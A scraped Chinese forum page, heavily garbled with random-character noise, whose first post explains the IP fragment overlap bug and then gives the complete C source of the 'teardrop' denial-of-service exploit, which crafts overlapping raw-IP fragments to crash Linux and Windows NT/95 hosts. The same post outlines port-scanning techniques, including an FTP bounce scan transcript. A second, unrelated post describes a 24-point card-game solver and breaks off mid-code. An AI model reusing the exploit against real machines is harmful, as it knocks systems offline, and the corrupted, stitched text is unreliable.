+ O# T  {5 q& C; O4 Foffset += i; /* ptr into datagram */( W6 i( B, v" R# Q: L4 `
ptr += i; /* ptr into fragment data */! l4 ~6 V$ S  o( v/ e1 O5 D6 P  x0 T
}</P><P>/* Fill in the structure. */) w( M( h. g( y
fp-&gt;offset = offset;
" {& X" F% _& g' Gfp-&gt;end = end;
% d. N( v+ Q8 nfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:& W. r8 l1 N9 L3 H7 A8 m# n' e: `
第一个碎片:mf=1 offset=0 payload=20
8 V2 ^( d0 y# p# @敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 " M$ i' e- Z( u' {/ n5 p
offset=06 I( t/ P& n1 p% i7 {% F: T
这样第二个碎片的 end=9+10=19
# M; c& J" F% h9 w  Q. }- zoffset=offset+(20-offset)=202 P9 X) Y$ B- U
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>6 g) X/ z) }6 K2 O, x* s$ C: p$ |
/*, a% ^; A: {/ B# d: O9 O- ]& \- ~
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
& a% b8 S7 \. ?. c9 K5 ~*) I/ e  `/ I9 `6 S% {( o
* Linux/NT/95 Overlap frag bug exploit0 a( o! ?$ K5 t2 I3 V
*6 v% v* ~% ^5 t3 Q2 g
* Exploits the overlapping IP fragment bug present in all Linux kernels and
8 c! Z+ X2 `0 l2 O/ j" ?) Y* NT 4.0 / Windows 95 (others?)' J* U  K1 M  r2 T
*& B& T! [, H7 n$ l# g4 x) f
* Based off of: flip.c by klepto
6 q9 c1 \8 z" a+ ?3 Z* Compiles on: Linux, *BSD*
$ i" n; C4 B9 R* A" n0 a*5 c$ ^) h! d3 G, V
* gcc -O2 teardrop.c -o teardrop
3 L. l- C# m  \* OR$ @- {  D' V8 m* `8 M
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING! d  l4 H% R3 p* V) m
*/</P><P>#include <STDIO.H>0 N. f$ t4 b0 Z0 j+ w
#include <STDLIB.H>2 k' d' R5 {! l
#include <UNISTD.H>
) Z# p2 d$ K; u& Z, U* @#include <STRING.H>
) ]  s" [; H# m0 o7 q' V#include <NETDB.H>0 F' g/ H8 Y3 M0 t
#include <NETINET in.h>5 ?$ h7 a& o' T$ N
#include <NETINET udp.h>( k5 [# u$ w* T7 p2 `
#include <ARPA inet.h>
9 ?: v' {0 t9 n3 W) J#include <SYS types.h>
  e7 I7 g* V3 S7 }& i( V# b; t0 C#include <SYS time.h>% a; G1 _; Z1 h
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
: a: D% z4 _+ A. [) l/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
. g1 a; }' w& g% |& G#define FIX(n) (n)# q+ p# d" a, E8 @" r* I2 C
#else /* OpenBSD 2.1, all Linux */+ \, R- z3 C! S& l5 V/ Y
#define FIX(n) htons(n)  G% V* H; D/ h4 T9 e
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
- j( z3 p  C2 l0 g' f) W#define IPH 0x14 /* IP header size */
( c5 T, E# y  C1 k% I( B# P0 `#define UDPH 0x8 /* UDP header size */3 N& v$ S+ m7 z0 A/ i
#define PADDING 0x1c /* datagram frame padding for first packet */
" ]- C' Z7 d3 ]#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
: m+ [# [8 n4 L, b3 c#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
" Z: |" b2 z1 ~8 h+ v* withstand maybe 5 or 10 sometimes... Experiment.4 M0 D- y* O; R
*/</P><P>void usage(u_char *);
, R% e2 h9 X1 `* V; ?u_long name_resolve(u_char *);0 R9 }, q) }3 p+ ]4 Z
u_short in_cksum(u_short *, int);$ T# n4 O3 Z  K3 J  a
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
8 X; b% Q$ A, i% l" ]# u( i2 z{% A: K1 j6 x) Z
int one = 1,
. h/ s, z$ r3 l( I9 ~1 @8 hcount = 0,
6 `' ?3 e7 R8 [i,
, J4 A+ v4 k- y  V! G# v8 L; L# Nrip_sock;
! l8 [3 Q: w4 U1 F5 b/ b  pu_long src_ip = 0, dst_ip = 0;
" Z* s5 ?3 S' X4 Vu_short src_prt = 0, dst_prt = 0;* ?  S! ~6 Y* Z7 M9 B  {. `. g
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
0 ^* h( @% l+ K' C3 }. L* wif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)# o6 m$ i3 O+ C4 m8 h
{
7 |' v: E( n" e: I5 `2 x3 |5 Z2 B3 Eperror("raw socket");- {( [3 t. D& N3 N# p2 |- f+ I
exit(1);
* _9 U6 k" {& u}
' ^3 p0 s5 M# y. F: ~* k* a2 F//由系统处理IP校验和。; q, j! G7 J" I% a  J
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
# V# o- `9 p+ p# l&lt; 0)
& C2 r% B3 ~) P* M' {- {( L# W, y{
3 ]4 U" V* G) @6 f" tperror("IP_HDRINCL");4 ~6 T0 c1 g% w# ^) b" A: j, ?
exit(1);8 l# K0 r2 Z$ o  d1 W$ s' `
}</P><P>if (argc &lt; 3) usage(argv[0]);
' |, w2 z! m/ T- W0 Bif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
7 P! Y! G+ D9 M% v, R" D; B  I# g{
& p. y( ?+ M3 ]. n& `" A- Tfprintf(stderr, "What the hell kind of IP address is that?\n");
2 ^7 Y4 ]$ R- q3 m, m5 fexit(1);
0 l8 z  J3 D: Q. U, U, t}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
) a: d2 W9 ]4 v# z, W' g2 E7 g{
# q# C5 `9 Q5 z5 @6 \$ L8 \switch (i)
( u7 g8 w. g- L/ j. v{8 S! k" }7 W1 C
case 's': /* source port (should be emphemeral) */  Y" \* S# v* a% i: ]
src_prt = (u_short)atoi(optarg);2 e% U$ C# d9 A4 C5 k5 s- `2 D
break;5 C$ p% z$ N: X
case 't': /* dest port (DNS, anyone?) */! U7 x4 [+ r% W# Y
dst_prt = (u_short)atoi(optarg);
8 w( q3 ]8 g* ?. s% Dbreak;) y! P6 q' N( S5 d& D. M
case 'n': /* number to send */' v% v0 l) D% h& g7 s
count = atoi(optarg);
6 v- X2 _- t+ h# Y$ ]2 H: o- |break;; j% T! d# }8 w! L5 l
default :
7 M4 R3 I- `7 b) Vusage(argv[0]);) N! M( T( n$ }9 ?
break; /* NOTREACHED */9 H. I4 _: W/ j0 Z" D, m0 W; d. k
}
8 y0 s1 m9 {- L! l}</P><P>srandom((unsigned)(time((time_t)0)));
( T' S9 B9 j% O% p4 Oif (!src_prt) src_prt = (random() % 0xffff);
/ C$ t) P  O: X1 `7 N& t! I: }if (!dst_prt) dst_prt = (random() % 0xffff);3 c/ D8 ^! c) R- X; C- M
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");5 V3 y3 q0 Y* J2 A, H1 j% F$ v
addr.s_addr = src_ip;' M8 L' f) M8 W2 T
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
: R8 c; g* N' Q" E% Xaddr.s_addr = dst_ip;
. P+ q$ t$ d% ~! S6 ~& afprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
: c$ a$ H- u8 {! {fprintf(stderr, " Amt: %5d\n", count);0 _- A0 s1 }' L: h. i4 ~8 b
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
7 H) |. }& W1 N" v{( c3 G5 {  {  I! T
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
/ M: M3 [7 K# H. x! _7 E! ffprintf(stderr, "b00m ");
( ^; R& U. `% d! iusleep(500);+ n# B( [/ c2 z' V
}' P! G/ {4 F. V( n( u$ ~9 t" T, c
fprintf(stderr, "]\n");9 U' q' d- ^2 \" w
return (0);
! y4 T- k, ^- p# }  f* }, r}</P><P>/*; [- }9 `$ s9 y/ D7 X. s4 P
* Send two IP fragments with pathological offsets. We use an implementation
: ~$ w; d8 U: R+ ]7 L2 s* independent way of assembling network packets that does not rely on any of2 Q+ n& [% w/ M  ^
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).3 H, T; R1 y  r- d
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
) w# ^5 i; |1 v  lu_short dst_prt)
! r7 F2 w8 X3 K; n3 `{0 t9 p) b' g& S# z( {
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
( K- y' I/ m: k# [u_char byte; /* a byte */# {% r+ p. I% M
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
* ]4 j5 q( Y0 G- \sin.sin_port = src_prt;, \0 t. e1 n# W8 G
sin.sin_addr.s_addr = dst_ip;</P><P>/*$ N* }* o8 b+ y, G" m% _8 ~
* Grab some memory for our packet, align p_ptr to point at the beginning
0 Z) r: k& H" R9 d$ f4 d* of our packet, and then fill it with zeros.0 r8 I- i1 l' e- E
*/
  P% Z; y9 H2 Dpacket = (u_char *)malloc(IPH + UDPH + PADDING);
0 D1 k/ H# p' vp_ptr = packet;9 |; A# ]( x  r" f9 b8 X
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
. U9 h  o  k, Bmemcpy(p_ptr, &amp;byte, sizeof(u_char));
+ V8 ]& s5 ^! Zp_ptr += 2; /* IP TOS (skipped) */
/ F8 [9 z' f/ h( i( f- g  c. j*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
6 p1 Y- w% Y; M/ n! t7 f; ]7 ep_ptr += 2;
; ]/ c: l. |! m3 J) B*((u_short *)p_ptr) = htons(242); /* IP id */
) @8 c* L* k, Vp_ptr += 2;8 Y% O# P2 w; _: }2 \8 a
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */7 p! X! A6 b' y
p_ptr += 2;
* }/ h4 f& e* h$ J+ M2 i*((u_short *)p_ptr) = 0x40; /* IP TTL */
  u9 s$ z( _6 I, g! d2 U. cbyte = IPPROTO_UDP;6 i9 s4 a' u0 `# c8 l& j5 H
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
% x/ u8 X" _0 G4 m  B) Z* \p_ptr += 4; /* IP checksum filled in by kernel */9 |, r4 j0 @( q
*((u_long *)p_ptr) = src_ip; /* IP source address */( T  D: |# ~& p6 |) r
p_ptr += 4;0 r5 U1 K+ d# p
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
2 k" g! y+ I& b0 V" Ip_ptr += 4;9 }/ S0 Q2 k( d" |
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */0 @; J; \* @) E; d) ?2 s/ p3 M
p_ptr += 2;
' p9 y' A- w. d1 M$ s8 L*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  L$ C" M! j9 |1 Lp_ptr += 2;2 q& Y$ C. J6 x7 d7 ]. [
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
) i- X+ l4 F9 ~+ K( D9 ^sizeof(struct sockaddr)) == -1)5 H' u& d3 T: P( Z7 D
{
" E7 _! D) K  ?perror("\nsendto");8 f4 R( h  O1 o7 u- t, a
free(packet);
4 Z+ Y/ K; L) Q+ Iexit(1);
; Z: I8 ?; f( A1 N5 {/ z}</P><P>/* We set the fragment offset to be inside of the previous packet's
! C% z' F* B! p: p$ r* payload (it overlaps inside the previous packet) but do not include
0 K' U+ _  {) ~1 G" r8 B0 R* enough payload to cover complete the datagram. Just the header will
0 Q3 Q5 @3 @: Z. G* p4 i' J* ]* do, but to crash NT/95 machines, a bit larger of packet seems to work. Q/ p3 h% y1 R+ ]6 d1 U# d
* better.  ^( k+ W8 l' r9 f
*/# _% Z" H, ^  p  e
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
2 s& K; z0 [% ], N: o*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
& `. D, \* {8 `2 X5 Z2 Z( s8 k7 T5 Ip_ptr += 4; /* IP offset is 6 bytes into the header */4 z9 E* z  s6 O0 c* c
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
, x0 i# d" N  C; K+ x1 Gsizeof(struct sockaddr)) == -1)" _* H  h$ M+ r
{( c5 L; m; E9 @( h1 ~, E7 t
perror("\nsendto");
  \" t: t( Z3 ^% {( \free(packet);
8 r1 P/ H6 O5 K: t7 n# F  pexit(1);& D+ [4 ^: B7 A# e( i& J0 O* ]
}% d* n, L( r3 N  m5 q% A
free(packet);9 H2 v$ }% n5 ~! ~1 p6 F
}</P><P>u_long name_resolve(u_char *host_name)5 t/ Y- u/ N1 \. N# X) F
{
8 i, n4 i% p! E; Mstruct in_addr addr;
1 i0 ~! F' h) W+ {struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
1 C! Q9 P5 O2 Z& i& Q{
; p+ }2 [6 r  }1 \- `) V- {if (!(host_ent = gethostbyname(host_name))) return (0);
4 h  j+ m, |6 n9 m' A" X- Xbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);# J7 V9 V3 u" N" {) C' Z6 `8 N
}
- Y. l4 E& @9 b" Z( F+ F3 Areturn (addr.s_addr);
9 V1 l6 _7 }. C5 ~& c: m3 A% ]}</P><P>void usage(u_char *name)
4 F& f+ d: {3 C) w. O  w3 Z{- f& t3 u. f$ Y; ]% }
fprintf(stderr,% a) Z1 L0 `- V! S$ v0 X( o
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
% c; h, W6 E  O" c9 u) d6 \name);7 u$ P6 z2 `% w0 ?# }0 C6 G  N
exit(0);
  {2 e+ s3 z7 O. Z5 I}</P><P>
0 N& V: I. `7 C/ w/ K# b; r8 F4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
/ @; C  ^1 y" W; x1 J2 M, s* z(1) Half-open(半打开)
# w$ P8 V" Y; P0 v利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
/ o$ ?9 D+ U4 G' F* e+ T3 S+ ~如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner3 s  [* G: z; g$ ?3 K9 C
利用了FTP的port命令,例如可以这样作:( h, d' J  ~5 J+ g. E. |- W3 p
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
1 \  i2 k! B; N+ |值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则8 x, S* \' H8 [, b* N
该端口无服务。
7 \9 E$ ~/ V' v6 o" k5 U; t1 ltelnet 192.168.1.13 21
$ @- E" T: B! b  B. l, x: eTrying 192.168.1.13...
2 t% Z" P  A8 D7 E% gConnected to pp.bricks.org.5 _6 F) ]& X- V. N+ O' ]* h/ U. A
Escape character is '^]'.. A7 D0 ^" s- D5 c
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
+ V3 |6 W6 O) Y* vThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
  N( d9 }1 Q  t5 Y* f, ^331 Guest login ok, send your complete e-mail address as password.
: w2 d( X$ ^6 R  Z% R: j- ?pass aa@aa.aa
, P7 W7 o6 J" t9 l3 N230 Guest login ok, access restrictions apply.
( I  H3 ]) r. x5 J) cport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.( _7 s4 v5 v4 `" }3 }0 O5 _+ q
425 Can't build data connection: Connection refused.
; W9 e1 A! F8 c7 C' C//该端口未活动 ' f  x  z4 y  J
150 Opening ASCII mode data connection for file list.
  Z$ V  k/ T, o226 Transfer complete.
2 J! d' S9 P1 M//该端口活动中( s& [( @3 G) q. M% |7 F
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
. c1 c5 K" K; E( J+ ~SYN|FIN ACK or SYN|ACK* RST. M  T5 G4 u  A
ACK Nothing RST1 _, L" N7 i+ Q& w. I
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
1 q1 _) A  ?3 J" E. `0 j; w一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,( X5 J  S  {. v  _! I- \
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
' V- i0 I% D' L) [, R$ F定它在向你做portscan。</P><P>notes:) v/ F' z$ w/ i& [# |
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),8 c2 `9 a. o; w+ i
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的0 L' {. {! U! ~0 C; ^
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>8 n6 a; v. ?, s
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
8 m; f, L% U0 D6 I6 @! |/ _9 y) Y' W! x, E/ C% ~3 b+ f1 b
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 1 T9 T" E$ j' i6 t. |( `
首先穷举的可行性问题。我把表达式如下分成三类——
9 X( j+ L0 A6 z: l2 e<FONT color=#ff0000>1、 无括号的简单表达式。  T6 A6 j0 w4 ~6 ]9 E4 U
2、 有一个括号的简单表达式。
, H4 K! Q4 A; r4 V! K) g  T/ p3、 有两个括号的较复4、 杂表达式。
4 v5 y- w$ h  ~7 y</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
# C5 N, y" g5 [5 Z( ^<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
, a$ c+ z1 S, c/ {! A2 u/* c[] 存放四张牌的数组 */
1 o/ \, i& j, P. F  j9 p. S/* k[] c[]种四张牌的代号,其中k[I]=I+1。2 \2 N' _0 C1 C1 M+ p
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */( H6 u% y0 U  X9 L
/* kans[] 暂存生成的排列组合 */( }. \' n* }" l3 ~7 [! o8 Z
/* j 嵌套循环的次数 */
4 j: y7 [3 z. q! x# A3 N4 Zint fans(c,k,ans,kans,j)0 @9 V: a) j& ~* x$ O7 P& }# o
int j,k[],c[];char ans[],kans[];
7 I; M4 V0 Q* ?* N' g{ int i,p,q,r,h,flag,s[4],t[4][4];1 W1 Q8 M$ Y6 [  \: T6 H* w9 b0 T8 p
for(p=0,q=0;p&lt;4;p++)
6 [0 H+ U6 y& D, A  m( e& Y9 v{ for(r=0,flag=0;r<J;R++)
7 n. d' u5 M# ~6 P7 B if(k[p]!=kans[r]) flag++;
$ [; s5 m- g7 f% Sif(flag==j) t[j][q++]=k[p];
" M. c5 `3 L& M& [* I}7 ?) X2 D) l, L
for(s[j]=0;s[j]&lt;4-j;s[j]++)
7 z) e4 s1 i/ I{ kans[j]=t[j][s[j]];$ w6 k( t1 O2 `5 j
if(j==3) { for(h=0;h&lt;4;h++)
8 n$ y% h; w/ W) }) r0 H- @ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表' G$ W* ?# K/ C3 x# o% M
达式中的位置 */
9 T1 t" y* S, ~7 M1 ~  Q- }7 Yfor(h=0;h&lt;3;h++)8 S8 N) F1 r5 R( G5 a3 V
symbol(ans,h); /* 在表达式中添加运算符号 */- C4 s' x6 B( u; r) F6 y
}' U' Z! ]) C- G# j
else { j++;, V6 g" T6 F7 ^. A, N  K, e- Y
fans(c,k,ans,kans,j);
# A5 Y; s+ K& bj--;
/ I6 a1 w& t& t- s* Q}/ M9 S9 x! s$ ~. l1 r' C. O9 }
}
3 s! h2 L# v3 U$ j7 g- {2 ^}</FONT>0 h3 b) j+ {8 C2 ]4 i( p) s

3 a3 h$ z# ~3 b+ t$ ~/ @& p  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
- P. t9 e/ B2 {& J) _) ?9 j. u2 L" O( y- z" |1 Q% ]8 x
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/1 V8 d/ W7 ?; u% q- R' s1 A
int sans(ans,sy,j,h); |% e# r9 q, h- S, G. m5 Y4 Z0 b! u
char ans[],sy[];int j,h;7 W9 m/ s; y8 x6 L7 ^- X
{ int i,p,k[3],m,n; char ktans[20];
9 s  U. B# x7 A* {. k& Afor(k[j]=0;k[j]&lt;4;k[j]++)
# J2 J! C9 t1 Y# J4 k{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位3 M  h: J- ~' o# B
这里的三个运算符号分别存放在1、3、5位*/ $ f7 s4 z' e/ U/ p; F
if(j==2). S7 ^3 L' j; U- N/ O: b" l5 t
{ ans[5]=sy[k[j]];
: E+ K9 M6 O/ w+ i% e/* 此处根据不同的表达式形式再进行相应的处理 */$ s1 a. F" Q8 B7 b4 q$ U# j
}
) {0 L6 {! Y( a& O5 Uelse { j++; sans(ans,sy,j--,h); }
: d7 Y( r) k# Q4 }% N5 x1 ?5 G}3 `, B. x  |: }( V- `
}0 h1 ?* q, B/ G* S' A- {2 q% F

' p2 J# \/ D/ W3 U</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
( n" X; V" k5 ?; @# t  E. x& efor(m=0;m&lt;=4;m+=2)7 U. k# m7 _3 _5 X% y( e
for(n=m+4;n&lt;=8;n+=2)
0 M) M7 O/ s- K* R  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。; Z8 S6 ]2 B; t5 J
: |! c; l. l1 G$ G+ i+ k% |  y% Q
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
8 z( M8 n8 Z( H$ ]* K! ?</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
) ~! z: e  S) k在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。8 O; _6 f& {; _! H3 x9 E% ?: Q

$ J- \! B. G& M  D2 D  k  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。8 R/ z8 w$ b. @) c

; ]1 h3 h  f" L- r4 u! T- P  那么作为栈的著名应用,表达式的计算可以有两种方法。
) s' c. l5 G4 W8 b# |  w, l8 f" Q: K! @2 g. r
  <FONT color=#ff0000>第一种方法——</FONT>
% R6 k8 c5 l& f3 n  S" L) T4 K  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
! L, g% e$ O& w, n0 q0 g  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:$ m( p7 C2 {6 v: g1 ~
1、 若W为操作数
5 f* m2 O8 C6 C2、 则将W压入操作数栈OVS
8 H2 ]" a1 z) d1 s$ l6 Q5 ?3、 且继续扫描下一个字符! x9 f* E/ V( D! u) z) M- ~- d
4、 若W为运算符' k8 o# n: \8 ?4 J7 `5 V+ C
5、 则根据运算符的性质做相应的处理:6 F1 D2 A$ r$ @
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。8 l9 N2 x4 e' E9 H2 k( A& I$ R
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
% q! C6 _- Z8 h4 z8 P) d4 d(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。8 q* D! s) G7 B  n; z. \
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。+ d% s* m# J5 @" F# N; t- n$ g

# E% t: y) s" z: Z& Y<FONT color=#ff0000>  第二种方法——</FONT>
- r3 Y* [0 Z8 u; I) q  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。! e4 B8 e4 L% \
; [  [  K- A! X1 m5 `
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。5 V7 _0 {1 r3 ~6 A6 @

3 b& y. z. x; z0 H  \; ?5 w' f   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。; L9 y2 E! G  J  w9 R5 A6 x
表达式 波兰表达式
- F2 m9 C; _" {( hA-B AB-5 M6 ]: s. I1 M/ y% h( `1 U
(A-B)*C+D AB-C*D+
( P# |7 S5 m9 p* u9 T" CA*(B+C/D)-E*F ABCD/+*EF*-
% s2 r$ @7 O! {! i) m5 ?( u# R! ](B+C)/(A-D) BC+AD-/
1 x7 G; V" ?% B6 I. q* _* W( x1 y1 o* X3 m8 m) ~3 p* t# s' c
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
+ j, x7 V% G2 u. Y
, w  b( e5 q8 g& [% Q1 X# V  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。" E! R: o7 B% @# P

( k  U; q7 M5 z) G  下面给出转换和计算的具体实现程序——+ m, L) \2 `5 V5 A8 i8 h
& Z6 D# K# l$ K3 B4 ?4 L9 r. V- P
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
! d8 Z' X4 k" `8 B4 W$ Cint first(char c)
; z! j  P; Y7 q0 ], b% U{ int p;2 F4 P& |) T; G, X# {
switch(c)
, ]! e/ l3 q, @1 g: Q8 H{ case '*': p=2; break;
/ f6 Q- F& i! e" q6 gcase '/': p=2; break;
- E. E! [. h. E, H6 Bcase '+': p=1; break;
( K. C$ Z  S" V" F. o2 Kcase '-': p=1; break;
* ?+ ]0 |8 d- T8 B8 G: o& ocase '(': p=0; break;
6 d! z& ?  T6 C  Ycase '=': p=-1; break;
2 H9 o% E: n2 `) u/ L  q( O}
3 ?3 J& D$ U9 D0 x# @/ greturn(p);
